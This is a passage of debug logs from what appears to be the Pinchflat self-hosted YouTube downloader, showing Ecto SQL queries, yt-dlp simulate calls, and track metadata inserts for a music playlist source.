JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [176] 22:20:00.250 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.5ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.250 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.250 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:20:00.250 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:00.251 [debug] QUERY OK source="media_items" db=0.3ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [177] 22:20:00.251 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nFearless · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "duration" => 227, "filename" => "/downloads/ChristianMetal/ChristianMetal/2018-07-28Fearless[Rm1f3qV8Spg].m4a", "id" => "Rm1f3qV8Spg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Rm1f3qV8Spg", "playlist_index" => 12, "timestamp" => 1532793740, "title" => "Fearless", "upload_date" => "20180728"} 22:20:00.251 [debug] QUERY OK source="settings" db=0.5ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.252 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85NdZYSMSgsUi8-gFZ0jEdXR --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4a/bc/4abc136bc86d0e1ce9cb76a894b73448081fe07bd36171d9eb52253a6a945ea0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:00.252 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:00.252 [debug] Replied in 3ms 22:20:00.252 [debug] QUERY OK source="sources" db=0.6ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:00.252 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [176] 22:20:00.253 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:00.253 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.253 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 2} 22:20:00.253 [debug] QUERY OK source="settings" db=0.8ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.254 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-28 16:02:20Z], 5] 22:20:00.254 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.254 [debug] QUERY OK source="settings" db=0.6ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.254 [debug] QUERY OK source="sources" db=0.8ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:00.255 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.255 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:00.255 [debug] QUERY OK source="media_items" db=0.2ms idle=0.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:20:00.255 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-qTzjBAeTCQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d0/18/d018cf86b744ae11da40a4bfc23b862cfd24d5ff3c301a63cd0ea92faefef486.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:00.365 [debug] QUERY OK source="media_items" db=110.2ms idle=0.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nFearless · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Fearless", "140f4cb6-57fe-4621-9206-305cc4274694", false, "Rm1f3qV8Spg", 227, false, "https://www.youtube.com/watch?v=Rm1f3qV8Spg", 12, "/downloads/ChristianMetal/ChristianMetal/2018-07-28Fearless[Rm1f3qV8Spg].m4a", false, false, 5, [], 2, ~U[2018-07-28 16:02:20Z], ~U[2026-07-24 02:20:00Z], ~U[2026-07-24 02:20:00Z], "Provided to YouTube by Universal Music Group\n\nFearless · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Fearless", "Rm1f3qV8Spg", 227, false, "https://www.youtube.com/watch?v=Rm1f3qV8Spg", "/downloads/ChristianMetal/ChristianMetal/2018-07-28Fearless[Rm1f3qV8Spg].m4a", false, 5, ~U[2018-07-28 16:02:20Z]] 22:20:00.418 [debug] QUERY OK source="media_items" db=162.5ms idle=0.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:00.418 [debug] Replied in 164ms 22:20:00.418 [debug] QUERY OK source="settings" db=162.5ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.418 [debug] QUERY OK source="sources" db=53.3ms queue=0.1ms idle=110.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:00.419 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=163.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.419 [debug] QUERY OK source="media_profiles" db=0.5ms idle=54.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.420 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 2} 22:20:00.420 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:00.420 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [178] 22:20:00.420 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nSorry · Stryper\n\nGod Damn Evil\n\n℗ 2018 Frontiers Records\n\nReleased on: 2018-04-20\n\nAuto-generated by YouTube.", "duration" => 236, "filename" => "/downloads/ChristianMetal/ChristianMetal/2018-04-19Sorry[dfwMShnhm9c].NA", "id" => "dfwMShnhm9c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dfwMShnhm9c", "playlist_index" => 13, "timestamp" => 1524136510, "title" => "Sorry", "upload_date" => "20180419"} 22:20:00.420 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:00.420 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kT3eHvwlytw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2c/25/2c25cc65dfb845ef968867798b444b05a68e5c3c57bb870cc498e020d467d18f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:00.421 [debug] QUERY OK source="sources" db=0.3ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:00.421 [debug] QUERY OK source="media_items" db=0.3ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:20:00.421 [debug] QUERY OK source="sources" db=0.2ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:00.422 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-04-19 11:15:10Z], 5] 22:20:00.422 [debug] QUERY OK source="media_items" db=0.6ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:00.422 [debug] Replied in 2ms 22:20:00.568 [debug] QUERY OK source="media_items" db=145.5ms queue=0.1ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nSorry · Stryper\n\nGod Damn Evil\n\n℗ 2018 Frontiers Records\n\nReleased on: 2018-04-20\n\nAuto-generated by YouTube.", "Sorry", "2497c735-a0fe-470f-a55e-6f199f720538", false, "dfwMShnhm9c", 236, false, "https://www.youtube.com/watch?v=dfwMShnhm9c", 13, "/downloads/ChristianMetal/ChristianMetal/2018-04-19Sorry[dfwMShnhm9c].NA", false, false, 5, [], 1, ~U[2018-04-19 11:15:10Z], ~U[2026-07-24 02:20:00Z], ~U[2026-07-24 02:20:00Z], "Provided to YouTube by The Orchard Enterprises\n\nSorry · Stryper\n\nGod Damn Evil\n\n℗ 2018 Frontiers Records\n\nReleased on: 2018-04-20\n\nAuto-generated by YouTube.", "Sorry", "dfwMShnhm9c", 236, false, "https://www.youtube.com/watch?v=dfwMShnhm9c", "/downloads/ChristianMetal/ChristianMetal/2018-04-19Sorry[dfwMShnhm9c].NA", false, 5, ~U[2018-04-19 11:15:10Z]] 22:20:00.568 [debug] QUERY OK source="sources" db=0.2ms idle=146.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:00.619 [debug] QUERY OK source="media_profiles" db=50.4ms idle=147.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:00.620 [debug] QUERY OK source="media_items" db=0.6ms idle=197.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN 